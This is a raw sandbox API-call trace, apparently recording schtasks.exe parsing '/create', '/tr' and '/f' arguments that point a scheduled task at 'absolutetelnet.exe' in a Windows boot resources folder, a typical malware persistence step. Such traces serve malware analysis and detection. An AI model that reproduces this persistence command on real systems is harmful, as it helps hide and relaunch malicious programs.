0x1adf7f8000 [0128.714] lstrlenW (lpString="12") returned 2 [0128.714] lstrlenW (lpString="-/") returned 2 [0128.714] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0128.714] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.714] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.714] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.714] lstrlenW (lpString="12") returned 2 [0128.714] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0128.714] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.714] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.714] _memicmp (_Buf1=0x1abb7a1ac10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.714] lstrlenW (lpString="12") returned 2 [0128.714] lstrlenW (lpString="12") returned 2 [0128.714] lstrlenW (lpString=" \x09") returned 2 [0128.714] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0128.714] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0128.714] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0128.714] GetLastError () returned 0x0 [0128.715] lstrlenW (lpString="12") returned 2 [0128.715] lstrlenW (lpString="12") returned 2 [0128.715] GetProcessHeap () returned 0x1abb7a10000 [0128.715] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x6) returned 0x1abb7a14360 [0128.715] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.715] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.715] lstrlenW (lpString="/tr") returned 3 [0128.715] lstrlenW (lpString="-/") returned 2 [0128.715] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.715] lstrlenW (lpString="create") returned 6 [0128.715] lstrlenW (lpString="create") returned 6 [0128.715] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.715] lstrlenW (lpString="tr") returned 2 [0128.715] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.715] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|create|") returned 8 [0128.715] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.715] lstrlenW (lpString="|create|") returned 8 [0128.715] lstrlenW (lpString="|tr|") returned 4 [0128.715] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0128.715] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.715] lstrlenW (lpString="?") returned 1 [0128.715] lstrlenW (lpString="?") returned 1 [0128.715] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.716] lstrlenW (lpString="tr") returned 2 [0128.716] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.716] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|?|") returned 3 [0128.716] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.716] lstrlenW (lpString="|?|") returned 3 [0128.716] lstrlenW (lpString="|tr|") returned 4 [0128.716] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.716] lstrlenW (lpString="s") returned 1 [0128.716] lstrlenW (lpString="s") returned 1 [0128.716] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.716] lstrlenW (lpString="tr") returned 2 [0128.716] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.716] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|s|") returned 3 [0128.716] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.716] lstrlenW (lpString="|s|") returned 3 [0128.716] lstrlenW (lpString="|tr|") returned 4 [0128.716] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.716] lstrlenW (lpString="u") returned 1 [0128.716] lstrlenW (lpString="u") returned 1 [0128.716] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.716] lstrlenW (lpString="tr") returned 2 [0128.717] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.717] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|u|") returned 3 [0128.717] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.717] lstrlenW (lpString="|u|") returned 3 [0128.717] lstrlenW (lpString="|tr|") returned 4 [0128.717] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.717] lstrlenW (lpString="p") returned 1 [0128.717] lstrlenW (lpString="p") returned 1 [0128.717] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.717] lstrlenW (lpString="tr") returned 2 [0128.717] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.717] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|p|") returned 3 [0128.717] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.717] lstrlenW (lpString="|p|") returned 3 [0128.717] lstrlenW (lpString="|tr|") returned 4 [0128.717] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.717] lstrlenW (lpString="ru") returned 2 [0128.717] lstrlenW (lpString="ru") returned 2 [0128.717] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.717] lstrlenW (lpString="tr") returned 2 [0128.717] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.717] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|ru|") returned 4 [0128.718] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.718] lstrlenW (lpString="|ru|") returned 4 [0128.718] lstrlenW (lpString="|tr|") returned 4 [0128.718] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0128.718] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.718] lstrlenW (lpString="rp") returned 2 [0128.718] lstrlenW (lpString="rp") returned 2 [0128.718] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.718] lstrlenW (lpString="tr") returned 2 [0128.718] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.718] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|rp|") returned 4 [0128.718] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.718] lstrlenW (lpString="|rp|") returned 4 [0128.718] lstrlenW (lpString="|tr|") returned 4 [0128.718] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0128.718] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.718] lstrlenW (lpString="sc") returned 2 [0128.718] lstrlenW (lpString="sc") returned 2 [0128.718] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.718] lstrlenW (lpString="tr") returned 2 [0128.718] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.718] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.718] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.719] lstrlenW (lpString="|sc|") returned 4 [0128.719] lstrlenW (lpString="|tr|") returned 4 [0128.719] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0128.719] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.719] lstrlenW (lpString="mo") returned 2 [0128.719] lstrlenW (lpString="mo") returned 2 [0128.719] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.719] lstrlenW (lpString="tr") returned 2 [0128.719] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.719] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.719] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.719] lstrlenW (lpString="|mo|") returned 4 [0128.719] lstrlenW (lpString="|tr|") returned 4 [0128.719] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0128.719] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.719] lstrlenW (lpString="d") returned 1 [0128.719] lstrlenW (lpString="d") returned 1 [0128.719] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.719] lstrlenW (lpString="tr") returned 2 [0128.719] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.719] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|d|") returned 3 [0128.719] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.719] lstrlenW (lpString="|d|") returned 3 [0128.720] lstrlenW (lpString="|tr|") returned 4 [0128.720] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.720] lstrlenW (lpString="m") returned 1 [0128.720] lstrlenW (lpString="m") returned 1 [0128.720] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.720] lstrlenW (lpString="tr") returned 2 [0128.720] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.720] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|m|") returned 3 [0128.720] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.720] lstrlenW (lpString="|m|") returned 3 [0128.720] lstrlenW (lpString="|tr|") returned 4 [0128.720] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.720] lstrlenW (lpString="i") returned 1 [0128.720] lstrlenW (lpString="i") returned 1 [0128.720] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.720] lstrlenW (lpString="tr") returned 2 [0128.720] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.720] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|i|") returned 3 [0128.720] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.720] lstrlenW (lpString="|i|") returned 3 [0128.720] lstrlenW (lpString="|tr|") returned 4 [0128.721] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.721] lstrlenW (lpString="tn") returned 2 [0128.721] lstrlenW (lpString="tn") returned 2 [0128.721] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.721] lstrlenW (lpString="tr") returned 2 [0128.721] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.721] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.721] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.721] lstrlenW (lpString="|tn|") returned 4 [0128.721] lstrlenW (lpString="|tr|") returned 4 [0128.721] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0128.721] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.721] lstrlenW (lpString="tr") returned 2 [0128.721] lstrlenW (lpString="tr") returned 2 [0128.721] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.721] lstrlenW (lpString="tr") returned 2 [0128.721] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.721] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.721] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.721] lstrlenW (lpString="|tr|") returned 4 [0128.721] lstrlenW (lpString="|tr|") returned 4 [0128.721] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0128.721] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.722] lstrlenW (lpString="-/") returned 2 [0128.722] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.722] StrChrIW (lpStart="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Boot\\Resources\\en-US\\absolutetelnet.exe'" [0128.722] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.722] _memicmp (_Buf1=0x1abb7a142e0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.722] _memicmp (_Buf1=0x1abb7a1abb0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] lstrlenW (lpString="'C") returned 2 [0128.722] lstrlenW (lpString="-/") returned 2 [0128.722] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.722] _memicmp (_Buf1=0x1abb7a1ac10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.722] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.723] GetProcessHeap () returned 0x1abb7a10000 [0128.723] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1aaf0) returned 1 [0128.723] GetProcessHeap () returned 0x1abb7a10000 [0128.723] RtlReAllocateHeap (Heap=0x1abb7a10000, Flags=0xc, Ptr=0x1abb7a1aaf0, Size=0x5a) returned 0x1abb7a14260 [0128.723] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.723] lstrlenW (lpString=" \x09") returned 2 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0128.723] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0128.724] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.725] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.725] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0128.725] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.725] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0128.725] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.725] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.725] GetLastError () returned 0x0 [0128.725] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.725] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0128.725] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.741] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.741] lstrlenW (lpString="/f") returned 2 [0128.741] lstrlenW (lpString="-/") returned 2 [0128.741] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.741] lstrlenW (lpString="create") returned 6 [0128.741] lstrlenW (lpString="create") returned 6 [0128.741] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.741] lstrlenW (lpString="f") returned 1 [0128.741] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.741] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|create|") returned 8 [0128.741] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.741] lstrlenW (lpString="|create|") returned 8 [0128.741] lstrlenW (lpString="|f|") returned 3 [0128.741] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0128.741] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.741] lstrlenW (lpString="?") returned 1 [0128.742] lstrlenW (lpString="?") returned 1 [0128.742] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.742] lstrlenW (lpString="f") returned 1 [0128.742] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.742] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|?|") returned 3 [0128.742] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.742] lstrlenW (lpString="|?|") returned 3 [0128.742] lstrlenW (lpString="|f|") returned 3 [0128.742] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0128.742] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.742] lstrlenW (lpString="s") returned 1 [0128.742] lstrlenW (lpString="s") returned 1 [0128.742] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.742] lstrlenW (lpString="f") returned 1 [0128.742] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.742] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|s|") returned 3 [0128.742] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.742] lstrlenW (lpString="|s|") returned 3 [0128.742] lstrlenW (lpString="|f|") returned 3 [0128.742] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0128.743] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.743] lstrlenW (lpString="u") returned 1 [0128.743] lstrlenW (lpString="u") returned 1 [0128.743] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.743] lstrlenW (lpString="f") returned 1 [0128.743] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.743] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|u|") returned 3 [0128.743] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.743] lstrlenW (lpString="|u|") returned 3 [0128.743] lstrlenW (lpString="|f|") returned 3 [0128.743] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0128.743] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.743] lstrlenW (lpString="p") returned 1 [0128.743] lstrlenW (lpString="p") returned 1 [0128.743] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.743] lstrlenW (lpString="f") returned 1 [0128.743] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.743] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|p|") returned 3 [0128.743] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.743] lstrlenW (lpString="|p|") returned 3 [0128.744] lstrlenW (lpString="|f|") returned 3 [0128.744] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0128.744] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.744] lstrlenW (lpString="ru") returned 2 [0128.744] lstrlenW (lpString="ru") returned 2 [0128.744] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.744] lstrlenW (lpString="f") returned 1 [0128.744] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.744] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|ru|") returned 4 [0128.744] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.744] lstrlenW (lpString="|ru|") returned 4 [0128.744] lstrlenW (lpString="|f|") returned 3 [0128.744] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0128.744] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.744] lstrlenW (lpString="rp") returned 2 [0128.744] lstrlenW (lpString="rp") returned 2 [0128.744] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.744] lstrlenW (lpString="f") returned 1 [0128.744] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.744] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|rp|") returned 4 [0128.745] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.745] lstrlenW (lpString="|rp|") returned 4 [0128.745] lstrlenW (lpString="|f|") returned 3 [0128.745] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0128.745] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.745] lstrlenW (lpString="sc") returned 2 [0128.745] lstrlenW (lpString="sc") returned 2 [0128.745] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.745] lstrlenW (lpString="f") returned 1 [0128.745] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.745] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.745] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.745] lstrlenW (lpString="|sc|") returned 4 [0128.745] lstrlenW (lpString="|f|") returned 3 [0128.745] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0128.745] RtlRestoreLastWin32Error () returned 0x1adf7f8000 